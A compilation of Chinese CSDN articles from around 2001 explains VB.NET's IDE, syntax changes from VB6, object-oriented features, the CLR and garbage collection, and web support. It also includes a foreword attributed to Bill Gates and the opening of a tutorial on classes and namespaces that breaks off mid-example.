    对于IDE的改进并不停留在表面上。所有.NET语言都使用相同的IDE，IDE内提供的新工具非常全面和强大。例如，所有的设计窗口都可以自动隐藏（就象Windows任务条一样），从而显著地减少了混乱的感觉。

    启动VB.NET时，“VS Home Page”是我们看到的第一个界面。Home Page中显示了最近修改的工程，并提供了打开现有工程、创建新工程的选项（如图A所示）。所有这些选项都以HTML链接形式显示。注意这并不是什么模拟出来的效果，Home Page的布局事实上就是由DHTML编写而成。由于这个原因，用户可以定制Home Page显示其他对自己有用的选项、信息以及HTML链接。

    New Project对话框中提供了用任意一种语言创建工程的选项，如图B所示，注意图中左边树形列表中列出了好几种语言。如果系统中已经安装了支持VS.NET的第三方语言，Microsoft或许还会在这个列表中包含这些语言。

图B：点击放大

    图B中，树形列表中的VB节点处于打开状态，右边的一些图标显示了创建新工程的几个选项。注意这里出现了一些新的选项，如Web Service、Web Control Library、Class Library。最后一个选项显示出：在VB.NET中，多个相关的类可以合并放入单个模块文件之中，而不是象VB6那样把每个类单独放入一个文件。

    激活WinForms工程时的IDE与传统VB IDE最为相似。图C显示了两者最主要的区别。

图C：点击放大

    ▲ 隐藏工具框。默认情况下，工具框大多数时候都是隐藏的，点击它的标题可以把它“拉出来”（图D显示了一个已经扩展的工具框。如有必要，可以设置工具框使其总是显示在屏幕上）。对于VB开发者来说，这里最大的变化在于工具框中的控件现在改为垂直排列，每个图标都加上了文字说明，而不象VB6那样只有一个图标。

图D：点击放大

    ▲ 卡式子窗口（Tabbed Child Window）。VS.NET利用位于屏幕上方的卡式子窗口布局取代了原来的MDI子窗口布局。卡包括：Home Page，窗体布局窗口，代码窗口，帮助屏幕。

    ▲ 任务列表（Task List）。Task List是一个重要的改进，它帮助开发者跟踪所有待完成的任务。代码生成器、编译器会在Task List中自动加上一些内容。手工添加任务项目可以按照如下方式进行：找到代码中需要修改的地方，然后插入一行以“TODO:”开头的注释，此后该任务就会自动出现在任务列表中。点击Task List中的某个任务，代码编辑器中就会出现完成该任务的位置。这种快速定义任务、返回任务的机制将极大地提高开发效率。

    ▲ 方案资源管理器（Solution Explore）。它替代了原来的工程资源管理器（Project Explorer），与Visual InterDev中的资源管理器非常相似。和InterDev中的资源管理器一样，Solution Explorer显示了工程所用到的各种资源，包括用其他语言编写的代码模块、各种非代码的资源。其中References是Solution Explorer中一种全新的资源形式，References管理着命名空间，类似于VB6中的组件引用。

    ▲ 属性框（Properties）。Properties框与VB6中的属性框非常相似，但它现在支持更多的布局方式（显示方式）。

    ▲ 窗体布局工具条（Form Layout）。在VB6中，在窗体上排列控件的任务通过一个名为“Form Editor”的工具条完成。改进后的新工具条提供更多的功能，而且在WinForms类型的工程中默认打开。

图E：点击放大

    除了上面六处改进之外，VB.NET的代码编辑器还有一个重要的新功能：在代码编辑窗口中，点击代码行左边的加号或者减号可以扩展或者折叠代码块，如图E所示。这个功能原本为隐藏可视化设计器自动生成的代码而设计，但它也可以用于隐藏与当前任务无关的代码。

    Web Forms工程的设计环境也和原来VB6的设计环境略有不同，如图F所示。在表单布局窗口的下面只显示了两个卡，分别为Design和HTML。这两个卡的功能和Visual InterDev中同一位置的卡相似。Design窗口用来编辑窗体的外观，HTML窗口用于查看DHTML代码。

图F：点击放大

    VB.NET另外一个引人注目的变化是它的窗体引擎。Microsoft放弃了原来的窗体引擎，现在它给我们提供的是Windows Forms窗体引擎。所有基于CLR的语言都使用Windows Forms引擎，与VB 6的窗体引擎相比，Windows Forms有着许多突出的优点。例如，Windows Forms支持创建那些自动改变组件大小的窗体，允许把控件锚定到窗体的特定位置。也就是说，完成这些特殊任务时再也不需要第三方的工具了。Windows Forms还有一些有趣的技术，比如创建透明窗体等。

    以前，VB隐藏了窗体构造过程中的所有细节。我们在IDE中设计窗体，然后把代码加入到Initialize事件，但对这两者之间的处理过程却无法进行任何控制。现在，窗体成了类，类里面包含了构造窗体的全部代码。大多数程序员都不会去看这种描述窗口构造细节的代码，如果说有某种操作一定会破坏应用，这个操作就是搞乱这里的代码。另一方面，由于这些代码允许用户深入控制VB.NET构造窗体的幕后细节，有经验的用户能够利用这些代码实现各种高级功能。如果你不想看到这些代码，你可以不看，因为新的代码编辑器有扩展和折叠代码区域的功能，描述窗体构造过程细节的代码默认处于折叠状态。代码编辑器还有其他一些新的实用功能，比如自动缩进、内建的行号显示功能等。


csdn_全面剖析VB.NET(2)

  全面剖析VB.NET(2)
作者： 仙人掌工作室
二、语法
    很久以来，VB因为缺乏完善的面向对象支持、缺乏高效的错误处理机制和性能表现不佳，因而一直受到某些人的嘲笑。VB.NET将彻底改变这种情况。然而，VB.NET在这些方面的改进也要付出代价，许多旧的代码需要手工进行转换才能在VB.NET下运行。

    下面几个表格总结了VB.NET语言在语法上的改动之处。注意这些表格并没有完全列出所有改动之处，但列出了最重要的一些改动。

    表A对比了VB6中一些熟悉的语法形式及其在VB.NET中类似功能最接近的语法形式。

表A：语法对比
旧语法 新语法 说明
窗体装载事件，类初始化事件 Sub New procedure Sub New称为构造方法（Constructor），它可以有参数。
Property Let Property Set Let关键词不再有效。
Currency Decimal 在VB6中，Decimal是Variant的一种子类型，但在.NET中它是一种固有的数据类型。.NET不再支持Currency数据类型。
Variant Object VB.NET的Object数据类型兼有VB6 Object类型和Variant类型的能力。
Debug.Print Debug.Write Debug.WriteLine 这个变化只是名称上的简单变化：从Print变为Write和WriteLine。
Wend End While VB.NET推荐使用While循环而不是Do循环。

    为了让VB的数据类型和其他.NET语言的数据类型相匹配，Microsoft修改了整数类数据类型的表示方法，并加入了一个新的数据类型。这些改动对于进行外部调用的方法尤其重要（比如API调用）。例如，如果被调用函数需要一个32位的整数参数，则在VB6中它应该声明为Long，在VB.NET中应该声明为Integer。

表B：和整数有关的数据类型
长度 VB6以及更早版本中的名称 VB.NET中的名称
16 bit Integer Short
32 bit Long Integer
64 bit （无） Long

    在VB.NET中，Microsoft减少了许多原先用于VB6的关键词，代之以“框架类”。之所以要进行这种替换，是因为框架类中的功能对所有的.NET语言都有效。下表列出了部分受影响的关键词。

表C：被替换的关键词
VB关键词 VB.NET名称空间中的位置 方法/属性
Circle System.Drawing.Graphics DrawEllipse
Line System.Drawing.Graphics DrawLine
Atn System.Math Atan
Sgn System.Math Sign
Sqr System.Math Sqrt
Rnd Microsoft.VisualBasic.Compatibility.VB6 Rnd
Round Microsoft.VisualBasic.Compatibility.VB6 Round
Lset System.String PadRight
Rset System.String PadLeft
DoEvents System.Winforms.Application DoEvents
VarType System.Object GetType（返回类Type的对象，其中包含了可提取出信息的属性）

    在VB.NET中，变量、数组的声明和初始化方法都有所变化，下表概要地列出了VB.NET在这方面的变化。

表D：新的声明方法
变化 语法举例
单个声明语句中不能声明多种类型。 'VB.NET不允许出现下面这种声明!
Dim nCount As Integer, bAnswer As Boolean
声明变量时可赋予初始值 Dim nCount As Integer = 20
Dim nDoubleCount as Integer = nCount * 2
允许为数组元素指定初始值 Dim nIndex(3) As Integer = (3, 5, 7)
不能用Redim进行声明，只能用Redim重新定义数组大小。 '下面这行代码在VB.NET中不合法!
Redim sName() As String

    大量新关键词实现了VB.NET中的新功能。下面是一些最重要的关键词及其用途、用法简例。

表E：VB.NET的新关键词
关键词 用途 简单例子
Inherits 指向基类，用于实现继承。 Inherits System.WinForms.Form
MyBase 在子类的代码中，MyBase引用基类。 StringProperty = MyBase.StringProperty
Shared Shared表示类的所有实例共享类里面的变量。 Public Shared BaseLocation As String
Try
Catch
Finally
Throw 这是新的错误处理关键词。Try开始一个启用错误控制的代码块，Catch标识一个对特定错误进行处理的代码块，Finally开始一个不管错误是否出现都必须执行的代码块，Throw抛出一个错误（类似于VB6的Err.Raise）。 Try
rsRecordset.Update
Catch
LogError ("更新失败！")
Finally
rsRecordset.MoveNext
End Try
ReadOnly 在属性声明中，ReadOnly指示一个只读的属性（只有Get过程的属性）。 Public ReadOnly Property
StringProperty() As String
WriteOnly 在属性声明中，WriteOnly指示一个只能写入的属性（只有Set过程的属性）。 Public WriteOnly Property
StringProperty() As String
Char 这是VB.NET中的单字符数据类型。 Dim chrInitial As Char
Imports 在当前代码模块中引入指定类。 Imports System.WinForms
Namespace 为模块指定名称空间（Namespace）。 Namespace MyApplicationName
Overloads 重载。Overloads表示同一个函数名字有多个版本的实现，编译器通过函数的参数列表区分它们。 '同一个模块之内包含如下多个声明...
Overloads Sub Display(sIn as String)
Overloads Sub Display(nIn as Long)
Overrides 覆盖。Overrides表示成员函数覆盖当前类所继承的基类中的指定方法。 Inherits MyBaseClass
Overrides Function Name(nID as Long) _
As String
Overridable Overridable表示任意从当前类继承的类都可以覆盖指定成员函数。 Overridable Function Name _
(nID as Long) As String
MustOverride MustOverride表示任意从当前类继承的类都必须覆盖指定成员函数。 MustOverride Function Name _
(nID as Long) As String
Protected Protected表示成员函数只能从当前类的派生类访问。 Protected Sub Clear()

    在以前的VB中，直至VB 4为止， Let、Set和Get属性过程是分离的。VB.NET把同一属性的属性过程放到了一起：

Private msMyStringProperty As String
' 声明区
Public Property MyStringProperty As String
Get
MyStringProperty = msMyStringProperty
End Get

Set
msMyStringProperty = MyStringProperty
End Set
End Property

    VB.NET不再有Let属性过程，因为所有赋值语句的语法（无论是对象还是非对象）都已经一样。

    语言方面的改动远远超过了对体系结构的改动。对于大多数人来说这些改动都有意义，但仍有人对某些改动存有异议。例如，在以前的版本中，许多任务可以用多种不同的方法完成，统一的编码标准要么不存在，要么很难执行。为了“清理”VB语言，Microsoft对VB作了一些重大的改动，许多以前可以有多种实现方法的任务现在只有一种方法。

    除了前面几个表格列出的内容之外，下面是一些特别需要注意的地方。

    首先，向过程参数传递数据的默认方式由原来的传递引用（ByRef）变成了传递值（ByVal），这是一个很重要的改动。通过引用传递参数比通过值传递参数面临着更多的危险，这种危险在于被调用过程可能无意地改变参数的值。VB.NET仍旧允许以引用方式传递参数，但默认参数传递方式的改变意味着程序必须作相应的调整。

    第二，VB.NET中不再有Set语句，把对象引用赋给变量现在只需一个等号就可以了，对象可以象任何其他值一样对待。虽然省略Set简化了代码，但也有一个附带的影响：默认属性不再有效。例如，下面这种属性值引用方法不再合法：

Text1 = "这是对象的默认属性值。"

    相反，属性值必须按照如下方式显式引用：

Text1.Text = "这是对象的默认属性值。"

    从表面上看来，VB.NET作这种要求似乎没有必要。但事实上，它对于摆脱默认属性来说却是必要的。例如，假设有一个名字为objFoo的对象变量，由于没有了Set语句，假若属性值仍旧可以象原来一样引用，下面这个语句到底是什么意思就很难确定了：

objFoo = Text1

    这个语句是设置了一个对Text1的引用，还是把Text1的Text属性值赋给了objFoo？我们无法作出判断，编译器也同样不能判断。因此，抛弃Set语句也就意味着必须放弃默认属性值。

    .NET中最不让人喜欢的改动：Microsoft改变了一些早就在使用的数据类型的含义。在.NET中，Integer变成了32位，而Long则是64位。可以想象，这种改变将导致程序员频繁地用错变量类型。例如，调用某个API函数时应该使用16位的Integer还是使用32位的Integer？但愿Microsoft能够重新考虑这个决定，采用一些新的变量类型名字，如Int32和Long64。

    VB.NET引入了Option Strict关键词。Option Strict关键词用于替代Option Explicit。原来的VB允许把一个数字值赋给字符串变量，或者进行其它类似的不正常赋值操作，Option Strict结束了这种情况。声明Option Strict告诉Visual Basic.NET不要进行任何强制的类型转换。当然，VB.NET也不是完全限制了类型自动转换：它允许进行向下的自动类型转换（Cast），但不支持向上的自动类型转换。例如，如果不是使用“sngvariable = CSng(dblvariable)”这类语句进行显式的类型转换，声明为Single的变量不能设置为Double变量的值，因为它可能导致数据丢失；然而，Double变量可以直接设置为Single类型变量的值，且无需显式地进行类型转换，因为这里不存在数据丢失问题。使用Option Strict能够帮助开发者减少许多错误，包括许多难以调试的错误。附带说明：使用Option Strict时不允许再使用延迟绑定（Late Binding）。


csdn_全面剖析VB.NET(3)

  全面剖析VB.NET(3)
作者： 仙人掌工作室
三、完善的面向对象支持
    VB.NET提供了完善的面向对象编程支持，是一种真正的OO语言。

    完善的面向对象支持应该包括封装（Encapsulation），继承（Inheritance）和多态性（Polymorphism）。当前的VB6已经部分地实现了这些支持，但仍因某些地方未能符合标准而受到责难。

    封装是指对象只显露公用的方法和属性。VB6已经提供了健壮的封装支持，具体通过Public和Private关键词实现，这两个关键词既可以用于方法，也可以用于属性。VB.NET进一步完善了VB6的封装支持，增加了一个Protected关键词。

    多态性即为“多种形态”，VB从4.0开始已经提供多态性支持，它在VB.NET中没有什么变化。然而，由于VB.NET中类支持两种类型的继承——接口继承和实现继承，多态性将有更广泛的用途。

    VB6已经支持一种称为接口继承（interface inheritance）的继承形式，VB.NET支持实现继承（implementation inheritance）完善了继承机制。过去，我们用VB的接口继承模拟实现对象继承，但现在不必再采用这种模拟技术。正如其他面向对象的语言，在VB.NET中我们可以覆盖基类的方法和属性，也可以借助多态性创建出健壮的、可升级的组件。例如，假设有一个从基类Crane继承的ForkLift类，利用下面的代码可以覆盖基类中Lift方法的默认实现：

Public Class ForkLift
Inherits Crane

Overrides Sub Lift(ByRef _
Height As Double)
Height = Height + 10
End Sub
End Class

    VB.NET不仅允许覆盖方法或属性，而且还支持方法重载（Overload）。重载是一种定义具有相同名字、不同数据类型的方法或者属性的能力。例如，假设有一个对不同数据类型的数组进行排序的组件，我们无需为它定义多个排序方法的名字（每种数据类型一个方法名字）；相反，我们可以重载单个方法名字：

Overloads Sub SortArray(ByRef _
aValues()As String)
...
Overloads Sub SortArray(ByRef _
aValues() As Integer)
...
Overloads Sub SortArray(ByRef _
aValues() As Object)

    在VB.NET中，窗体以类模块形式出现。它意味着类本身包含了所有构造窗体所必需的代码。你可能会奇怪为什么VB.NET中会看到这些代码而以前不行，事实上这个变化带来了许多强大的新功能，比如继承这些窗体的能力。Microsoft称这种技术为“可视化继承”（Visual Inheritance）。假设我们为大多数对话窗口设计了一个标准的格式，比如窗体某一边有一列按钮、某个角上有一个LOGO图标，可视化继承使得我们能够设计一个窗体模板（类），需要时只需从这个基类继承就可以得到新的对话窗口。


csdn_全面剖析VB.NET(4)

  全面剖析VB.NET(4)
作者： 仙人掌工作室
四、对象的广泛应用
    代码重用简化了开发过程，而可视化继承之类的功能又使得代码重用更加方便。然而，代码重用并不局限于此。借助作为VB.NET基础的CLR（Common Language Runtime，公共语言运行时环境），我们可以在VB.NET中继承其他VS.NET语言编写的类。例如我们可以编写一个C#类，然后在VB.NET类中继承该C#类。

    VB.NET的面向对象功能已经向各个方向扩展，甚至深入到了语言本身——在VB.NET中，一切都是对象。它意味着和以前的VB版本相比，我们从VB.NET本身获得的支持和功能要多得多，求助于Windows API的时候将更少。例如，在以前的VB版本中，我们用LoadPicture方法装入一个图形，用Line方法（或者其他速度更快的API函数）画线；而在VB.NET中，我们用System.Drawing对象创建和处理图形。下面这段代码用System.Drawing对象在窗体上显示一个图形：

picshowpicture.Image = _
system.Drawing.Image.FromFile( _
"c:test.bmp")

    注意，VB.NET的“一切都是对象”可能会使代码变得冗长。考虑下面这个语句，它在一个图形对象上面画一条黄绿色的线：

objgraphics.DrawLine(system.Drawing. _
Pens.Chartreuse, 0, 0, 100, 100)

    语句虽然变长，但它获得的好处是：更加灵活，更加容易使用。以前，要实现一些较为复杂的功能往往要深入研究文档，通常还要求助于API。现在，所有相关的功能集都封装到了对象之中。用对象封装功能还有额外的优点——对象以一种极为优美的形式把相关功能组织了起来，所以浏览各个对象、看看它们到底做些什么，事实上也是一件有趣的事情。

    Visual Basic.NET的面向对象特色带来了许多切实的好处。大多数情况下，和以前的VB版本相比，VB.NET面向对象的本性以及它对继承的支持使得创建某些类型的应用更加快速和方便。然而，虽然我们可以使用继承以及其他.NET的新功能，比如自由线程，但这些功能并不是一定得使用不可。正如所有其它语言的功能，我们必须使用的功能是那些对给定情形来说最具有意义的功能。

    自由线程或许有必要特别说明。VB6允许通过单元线程创建多线程的服务，但VB从来没有支持过创建自由线程的客户程序。VB.NET改变了所有这一切。现在，创建自由线程的应用已经是一件非常平凡和普通的事情。它是如此平凡，以至于完全可以预料有些程序员在为应用加入自由线程时不会理解它的具体细节。启动新的线程只要很少的几行代码——只需把方法的地址传递给线程对象，该方法就会启动一个新的线程。这无疑极为实用和方便，但必须注意的是：这些功能只适合特定的情形，了解哪些情形适用这些功能以及如何恰到好处地运用这些功能属于开发者自己的责任。坦率地说，许多开发者会因为滥用继承和自由线程而给自己带来麻烦，希望这中间并不包括你。


csdn_全面剖析VB.NET(5)

  全面剖析VB.NET(5)
作者： 仙人掌工作室
五、公共运行时环境
    迄今为止，业界对VB.NET讨论得最多的特色或许就是CLR。VB.NET运行在CLR之上，正是CLR为VB.NET带来了许多关键的新特色（包括缺点在内）。例如，CLR使得VB.NET支持跨语言的继承以及自由线程。

    在VB6中，分布式VB程序要求有VB运行时库msvbvm60.dll支持，即该运行时库必须随同应用一起分发。其他许多语言，比如C++和Java，也有类似的要求。在.NET中，所有Visual Studio语言共享同样的运行时环境CLR。改用CLR带来了几个重要的结果：现在所有Visual Studio语言都共用同样的IDE、同样的窗体引擎、同样的异常处理机制，等等。它意味着Visual Basic在很大程度上已经可以和.NET的其他语言相提并论，如C#等。然而，对于CLR的异议仍旧存在，VB业界仍在激励地争辩它地价值。

    不管应用是用VB、C#还是其他.NET语言编写，所有VS.NET代码都是编译成中间语言（Intermediate Language，IL）。当应用运行时，一个实时编译器（just-in-time compiler，或称为JIT）就把IL代码编译成机器语言。在理论上，它意味着为非Windows的平台构造.NET运行环境是可能的，但目前还没有出现有关这类系统的正式消息。IL有一个缺点：正如VB在5.0以前的版本，IL代码对于类似的反向编译工程很敏感。由于存在这种可能性，许多开发者对于.NET框架的整体安全性抱有怀疑。

    对CLR进行优化影响IL层次上的代码，它使得所有使用CLR的语言受益。然而，对于特定语言的优化涉及到如何把代码编译成IL代码，它根据特定语言的语法进行。因此，.NET各种语言之间存在一定的性能差异是必然的。但不管如何，从整体上来看这仍旧是好事，例如CLR为VB带来了和C#一样的调试和分析工具——之所以能够如此，是因为它们都使用一样的工具。

    CLR提供了前所未有的跨语言集成能力，其中包括跨语言继承代码的能力。所有使用CLR的语言都使用一个公共类型系统（Common Type System），它使得开发那些运用多种语言的应用变得更为容易。

    在CLR之内运行的代码称为“受管理的代码”（Managed Code），受管理代码所使用的内存由CLR全面控制。受管理的代码有着许多优点，包括交叉语言集成、跨语言异常控制以及一个组件交互的简化模型。Visual Basic.NET只能以受管理代码方式运行，与此相对应，C#却具有将代码转入非受管理方式运行的能力（运行在CLR之外），比如执行指针处理之类的操作。这是VB.NET不能与C#相提并论的地方之一。然而，这种能力的是否重要，对于不同的人、不同的用途来说都有所不同。


csdn_全面剖析VB.NET(6)

  全面剖析VB.NET(6)
作者： 仙人掌工作室
由CLR导致的体系上的不同不仅仅是跨语言继承、共享功能和受管理代码，它还有更深刻的意义。Visual Studio.NET的底层体系不再是COM；另外，VB.NET中所有东西都是对象，甚至连字符串也一样。由于这些原因以及其他许多原因，Microsoft改变了底层体系管理对象的方法。COM系统通过引用计数方式管理对象，每当对象被引用时，引用计数就增加。当对象引用超出作用范围或者被释放时，计数器的值就减少；一旦引用计数为0，对象就被释放。Microsoft声称.NET体系中的引用计数开销实在太大，使得.NET采用引用计数不再合适，因此它就放弃了引用计数，改用垃圾回收（Garbage Collection）。

    大约40年前，John McCarthy设计了LISP语言，它是可考证的第一种编程语言。LISP运行时不断地分配和释放大量的小块内存，由于那时的计算机内存远远没有现在这么庞大，因此早期的LISP用户很快感到内存不足，同时许多不再使用的内存却未能利用起来。为了解决这个问题，McCarthy于1959年第一次提出了垃圾回收的思想。

    在一个真正面向对象的系统中，垃圾回收机制能够很好地满足分配和释放大量小块内存的需要。因此，Microsoft在VS.NET中重新实现了垃圾回收机制。

    CLR垃圾回收器（CLR Garbage Collector）的主要任务就是监视程序使用的资源，当可用资源达到某个确定的极限时查找不再使用的对象，如发现有这类对象存在则释放它们所占用的资源。垃圾回收的一个很大的优点是程序员无需再为大多数常见的循环引用担心。在循环引用情形下，子对象拥有对父对象的引用，同时父对象又拥有对子对象的引用。在引用计数模式下，循环引用阻止了系统释放和拆除任意一个对象。然而，垃圾回收器能够找出这类循环引用并拆除它们。垃圾回收机制同时也意味着，当对象的最后一个引用被释放时，对象并不一定立即被拆除。

    采用垃圾回收机制的一个后果是：我们不能再希望类的Terminate事件总是适时触发。事实上，如果线程被阻塞的话，Terminate事件可能完全不会触发。这就是所谓的“非确定的结束”（non-deterministic finalization），而COM提供的则是“确定的结束”。由于缺乏“确定的结束”，再加上因为垃圾回收器重新组织和整理内存导致不能运用指针，新闻组中出现了对该问题激烈的争论：有些人憎恨这些新的限制，因为他们依赖于“确定的结束”；有些人觉得无关紧要，因为他们并不依赖于Terminate事件。

    从引用计数转变到垃圾回收仅仅是Visual Studio.NET底层体系不再是COM这一变化的诸多必然结果之一。虽然VB.NET之内仍旧可以使用COM对象，但这些对象必须通过封装（Wrapper）才能访问。任何时候，封装都意味着性能的降低，甚至还有可能导致对象行为的异常。如果要迁移一个大量使用COM对象的工程，你必须认真地进行计划和测试，应用程序的某些部分可能还需要重新构造。


csdn_全面剖析VB.NET(7)

  全面剖析VB.NET(7)
作者： 仙人掌工作室
七、面向Web的支持
    除了Windows Forms新引擎之外，.NET还包含了一个专门为构造Web窗体设计的窗体引擎，称为Web Forms。这个引擎的目标在于让用户能够象创建传统Windows桌面应用的窗体一样方便地创建Web窗体。Web Forms是一种ASP.NET技术，通过它我们可以使用熟悉的RAD（快速程序开发）工具构造出带有执行代码的窗体。不过，窗体中的ASP.NET代码以编译方式在服务器端运行，经过处理后把结果HTML发送给支持HTML 3.2的浏览器。

    客户端事件数据由底层框架截获并发送到服务器。这意味着应用界面不再受浏览器类型的约束，意味着有大量UI工具可供使用，意味着用户可以充分发挥现有的窗体制作技巧。如果应用没有必要做到浏览器中立，那么它就可以利用IE浏览器的各种特色。有了Web Forms，我们将能够更轻松地为那些具有Web功能的应用构造出更好、更丰富的用户界面。

    VB.NET中另外一个面向Web的重要特色是Web服务。在Microsoft的宣传中，Web服务被推崇为之所以要采用.NET技术的重要理由之一。事实上，从根本上来说Web服务是一种类似COM的、通过Web服务器和标准协议发布的对象。当然，Web服务并不是严格意义上的COM对象，但两者作用方式类似。Microsoft期待着各类公司都以Web服务方式提供服务，期待着未来创建应用时只需简单地“粘合”各种服务，就象今天借助Office和支持VBA的应用通过VBA构造新应用一样简单快捷。

    从Microsoft PDC（Professional Developers Conference，专业开发者大会）的一个演示中，我们可以看出Microsoft希望开发者如何粘合各种Web服务。在这个演示中，一个假想的医生以Web服务形式发布其时间表，示范如何通过Web用智能电话和医生订立约会。Visual Basic.NET还允许查询服务器，提取服务器支持的所有服务的元数据。Web服务描绘了Microsoft野心勃勃的战略，然而，唯有时间才能告诉我们Microsoft是否在大范围推广Web服务上取得了成功。但不管如何，这个想法本身看来有着美好的前途。

    为了减少与封装和分发应用有关的问题，如令人畏惧的DLL Hell问题（在共享DLL的应用之间，由于一个应用的升级而导致另一个应用无法正常运行的情况），Microsoft作出了种种努力，它同样也带来了美好的希望。所有.NET应用都封装为程序集（Assembly）。程序集包含了描述各种运行需求的元数据。这种元数据称为manifest，其中包括：程序集的标识信息（名称，版本等），列出了所有文件依赖关系以及文件位置和文件版本的文件清单，外部依赖信息（带有描述程序集必须用到、但开发者没有自己创建的DLL以及其他资源的数据）。程序集是通过manifest自我描述的，因此.NET应用的运行并不需要修改注册表。换句话说，.NET应用不再要求注册组件。在最理想的情况下，客户机器上已经有了.NET运行环境，部署一个复杂的应用简单到只需复制一个文件夹到目标机器。使用程序集的另外一个优点是：不同的应用可以拥有同一DLL的不同版本，所有这些应用都互不干涉地在同一台机器上运行。如果它能够按照预期那样获得成功，DLL Hell和可怕的版本问题都将成为历史。

    Visual Basic.NET代表着VB的一次重大飞跃。尽管如此，把VB.NET看成是一种有着熟悉语法的新语言而不是对旧语言的简单升级或许是对待VB.NET较为正确的心态。


csdn_用VB.Net编织未来

  用VB.Net编织未来
作者： 比尔.盖茨
Visual Basic 开始于一个代号为“雷电”的项目，而到九十年代，它暴风雨般的席卷了编程世界。现在，自Visual Basic发布已经10年了，一个称作Visual Basic.Net的创新的版本被推上历史的舞台来革新下一代的应用程序开发。
记得在BASICPro,VBPJ的前身，的第一期，我写了一篇我自己关于BASIC语言的看法的文章“Gates on BASIC’s Future”（BASICPro 1991 2-3）。在那个时候，BASIC高度的亲和力和相对的简单性已使它成为世界上最受欢迎的编程语言。
1991年Visual Basic 1.0的引入，革新了人们开发个人电脑软件的方式，也把它的亲和力和简单性提到了一个新境界。程序员们第一次可以直观地设计Windows应用程序。他们不必再为每一个窗口和按钮写底层的代码，而同时他们又能够在一个图形用户界面里做程序开发的各个方面：编码，调试，编译。Visual Basic是革命性的，它把Windows编程带到了主流位置，一时间Windows程序风潮四起，成千上万的软件开发者接受了这种基于图形用户界面的开发模式。
自Visual Basic肇始，已经形成了一个遍布世界逾3百万之巨的的开发者共同体。事实上，世界上目前大约一半的开发人员都用Visual Basic。个人电脑强大的能力和繁荣为这种飞速增长奠定了基础。然而，开发人员的需要在演化，Visual Basic 也随之而演化。
计算环境也在变，Visual Basic也需要适应这种变化。我们现在进入了第三代因特网，它的焦点将从连接在因特网上单个的Web站点和设备转变到汇聚着各种计算机，设备，服务来发布更广泛，更丰富的解决方案。新的开发工具必须围绕着从浏览器媒质演化到互相之间能够无缝合作建立企业级的应用环境的Web开展，同时却有着单独的桌面和客户机/服务器应用不可达到的扩展性能。
利用Visual Basic.Net，我们通过对它增加以下各方面的完全的支持来满足这种需要，面向对象，XML,Web Services,对.Net架构直接的获取，以及一个强大的集成开发环境。在提供强大能力的同时我们保持了Visual Basic得以成功的亲和性和简单性。
未来十年将是一个软件开发者的辉煌的时代。我们在开发，配置，应用程序方面的进步将同当年从基于DOS的到基于Windows编程体系的转变一样意义深远。Visual Basic.Net将为建造基于因特网的分布式计算的新时代的解决方案提供基础构造。
微软视Visual Basic共同体为这一美好图景的核心部分。如果你是这个共同体一名新的成员，我欢迎你到这个令人难以抑制的兴奋的新纪元。如果你是一个老牌的Visual Basic程序员，我感谢你使它成世界最流行的开发工具。Visual Basic.Net将使你们为明天的因特网编制出前沿的软件，我对此充满信心。(全文完）


csdn_VB.NET面向对象的实现(一)

VB.NET面向对象的实现(一)(2001-6-5)

    在VB 6中面向对象的能力还不是很强，但随着VB.NET的出现，其面向对象的能力大大增强。VB.Net不仅为我们提供了新的面向对象的特性，而且它也改变了我们在VB6中实现一些特性时所用的方法。在本教程中我将带你浏览一下这些特性，并将涉及到新的性能以及现有特性的变化。

本简缩教程的内容有:

  1.创建类：类关键字、类及名空间、创建方法、创建属性、重载方法等。
  2.对象的生命周期：对象的构造、对象的终止
  3.继承：实现基本的继承、阻止继承、继承与辖域、保护方法、重载方法、重载与　　构造方法、创建基类以及抽象方法
  4.共享或类成员：共享方法、共享变量
  5.事件：共享事件、触发事件
  6.界面：怎样使用界面
  7.对象的处理：对象的声明等等
  8.交叉语言的继承：创建VB.NET的基类、创建C#子类、创建一个客户应用程序。
  9.可视化继承
  总结

创建类

    在VB以前的版本中创建类时，每一个类都有它自己的文件。如果VB.NET也使用这种方法的话，那VB.NET工程将是一个更大的面向对象工程因为它包含许多文件。但是幸运的是，VB.NET并不是采用这样方法来创建类。可以说这是一个创举，因为它不用为创建一个类就创建一个文件。而是在一个文件中包含许多类，这样就使得程序的可维护性更好了。
    另外VB.NET也提供了对.NET名空间概念的支持。VB.NET用于创建属性方法的语法也有些改变。类似于Visual C++，我们可以在类中重载这些方法。至此，我们对VB.NET的新特性已经可以略见一斑了。好吧，言归正转，现在可是为一个工程增加类。
其实，在VB.NET中增加一个类与在VB6增加一个类是很类似的。为了做到这一点我们需要先创建一个新的Winodws应用程序工程，具体操作是从菜单中选择Project(工程)->Add Class（增加类），这时就会弹出一个增加新项目的对话框，如图1所示。

（图1）

在图1的对话框中用户可以增加任意类型的项目到工程中。在本例子中是使用缺省的项目，即增加一个类模块。不管我们选择了哪种VB 代码文件(如表单、类、模块等等)，我们得到文件名字的扩展名都为.vb，如图1中的class1.vb。
这里值得指出的是，文件的类型是由它的内容决定的，而不是由文件的扩展名决定的。根据我们所选择的类型，IDE（集成开发环境）就在文件中创建不同的开始代码。
在如图1所示的对话框的最后一行给类命名为MyClass，然后点击Open键，这样一个新的文件就将增加到我们的工程中，它包含了以下简单的代码：

Public Class MyClass

End Class

在一个.vb文件中可以包含多个类、模块以及其它代码。接下来的设计过程实际上跟VB的差不多，我们可以手动增加其它的代码到这个文件中去。这里值得指出的是一旦在IDE创建类的时候它就会增加一个新的文件到工程中去。

类关键字

    在下面的例子中，代码包含了一个关键字End Class。这是一个新的关键字，使用它的目的是为了在一个源文件中包含多个类，这点正是VB.NET与VB6在创建类区别的精髓所在。每当我们在VB.NET中创建类的时候，我们只是简单地将所有的的代码包含在Class和End Class 之间。例子代码如下：

Public Class TheClass
Public Sub MyWorks()
End Sub
End Class

另外在一个特定的源文件(后缀名为.vb)中,我们可以使用多个Class...End Class块。

类与名空间

    名空间的概念是.NET环境重要内容，因为它可以提供哪个类可以被组成逻辑组的机理，并且使得这些类更容易的搜索以及管理。在VB.NET名空间是使用块结构来声明的。例如：

Namespace MyNamespace

Public Class MyClass

End Class

End Namespace

在Namespace...End Namespace块之间声明的任何类、结构等等将可以使用那个名空间被寻址。在本例子中，我们的类可以使用这个名空间来引用，这样定义一个变量就变成了：
Private obj As MyNamespace.MyClass

因为名空间是使用块结构来创建的，所以在单一的源文件中就不仅可以包含多个类，而且可以包含多个名空间。
同样，在一个相同名空间的类可以被创建在分隔的文件中。换句话说，在一个VB.NET工程中，我们可以使用在不同源文件中相同的名空间，而所有在这些名空间中的类将是那个相同名空间的一部分。
为了更好地理解，下面再给出一个源文件：

Namespace MyNamespace

